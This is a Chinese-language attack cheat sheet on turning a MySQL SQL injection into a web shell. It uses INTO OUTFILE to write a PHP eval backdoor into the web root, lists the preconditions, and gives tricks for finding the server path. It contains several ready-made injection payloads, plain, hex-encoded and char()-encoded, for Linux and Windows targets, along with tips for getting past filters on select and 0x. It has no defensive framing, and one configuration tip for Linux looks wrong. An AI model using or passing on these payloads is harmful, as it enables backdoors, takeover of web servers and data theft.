0x01[原理]

  • 存在Sql注入漏洞时候,可以尝试提交写入文件的payload直接写入木马文件

0x02[使用限制]

  • 知道相应文件路径
  • 拥有相应目录的写入权限
  • 数据库开启 secure _file_priv

0x03[补充情报]

  • secure _file_priv在mysql5.6.34后默认NULL,且无法用sql语句更改
  • [更改方法]
    • WIN{修改mysql.ini,在mysqld下添加secure_file_priv = ,保存,重启mysql}
    • LINUX{在/etc/my.cnf的[mysqld]下添加local-infile=0}
  • 当执行以下查询语句后出现如图所示即证明可写
show global variables like '%secure%';

QQ截图20201108213543.png

[获取路径]

  • sql刻意显错爆路径;
  • select @@datadir/select @@basedir;以此猜测路径
  • phpinfo查看路径,这是最好的方式 看DOCUMENT_ROOT;
  • 文件上传爆路径
  • ......

1.jpg
2.jpg

0x04[攻击语句]

(union) select 1,2,"<?php @eval($_POST[CCP]);?>" ,4,5 into outfile "/var/www/html/News.php"-- -

(union) select 1,2,0x3c3f70687020406576616c28245f504f53545b4343505d293b3f3e,4,5 into outfile "/var/www/html/News.php"-- -

id=1' or 1=1 limit 0,1 into outfile 'C:/xampp/htdocs/upload/doc/News.php' lines terminated by '<?php @eval($_POST[CCP]);?>'-- -

id=1' or 1=1 limit 0,1 into outfile 'C:\\xampp\\htdocs\\upload\\doc\\News.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b4343505d293b3f3e-- -

0x05[注意事项]

  • "var/www/html/1.php" 与 "/var/www/html/1.php"不同,注意相对路径与绝对路径的写法
  • 当发现无法写入时(正确的语句执行后报错),不一定是不可以写(虽然绝大部分情况是的),也有可能是你所选的目录无法写
  • 路径要引起来,建议使用单引号,或者都尝试一下
  • 禁用select的时候也是可以写的,因为有lines terminated by 这种写法 这种还可以用于快速测试能否写入,因为它可以不加其他敏感关键字,比如union之类
select pass from admin where user='admin' into outfile 'c:/xxx/xxx/xxx.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b4343505d293b3f3e-- -
  • 无法写入16进制的时候前面的0x是必要的,如果没有,你将会只写进去一串字符串
  • 在0x被过滤的情况下可以尝试使用char(xx)这种写法 char()与ord()是对应的相反函数

Image.png

select 1,2,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,93,41,59,63,62) into outfile '/var/www/html/1.php'#
  • 特别注意路径分隔符

    • 在linux和win下面,都可以使用xxx/xxx/xxx/左斜杠来完成路径的拼接
    • 在win下面,右斜杠 \ 要写两次,只写一次会被认为是转义符号从而被忽略,这样就会从C:\xampp\aaa.php变成c:xamppaaa.php 所以要写成c:\......
    • 在win下面如果使用了 \ 作为分隔符,也可以写,但是会写到mysql的data目录下
  • 在写绝对路径受限制的情况下可以写相对路径,比如有的框架路由限制,在写的时候出发点是mysql的data目录,使用../../../../www想办法切到正确的网站目录下,在确定可以写的情况下可以摸索出正确的路径,因为有的时候如果文件存在,再写会提示file exits文件已经存在

0x06[相关链接]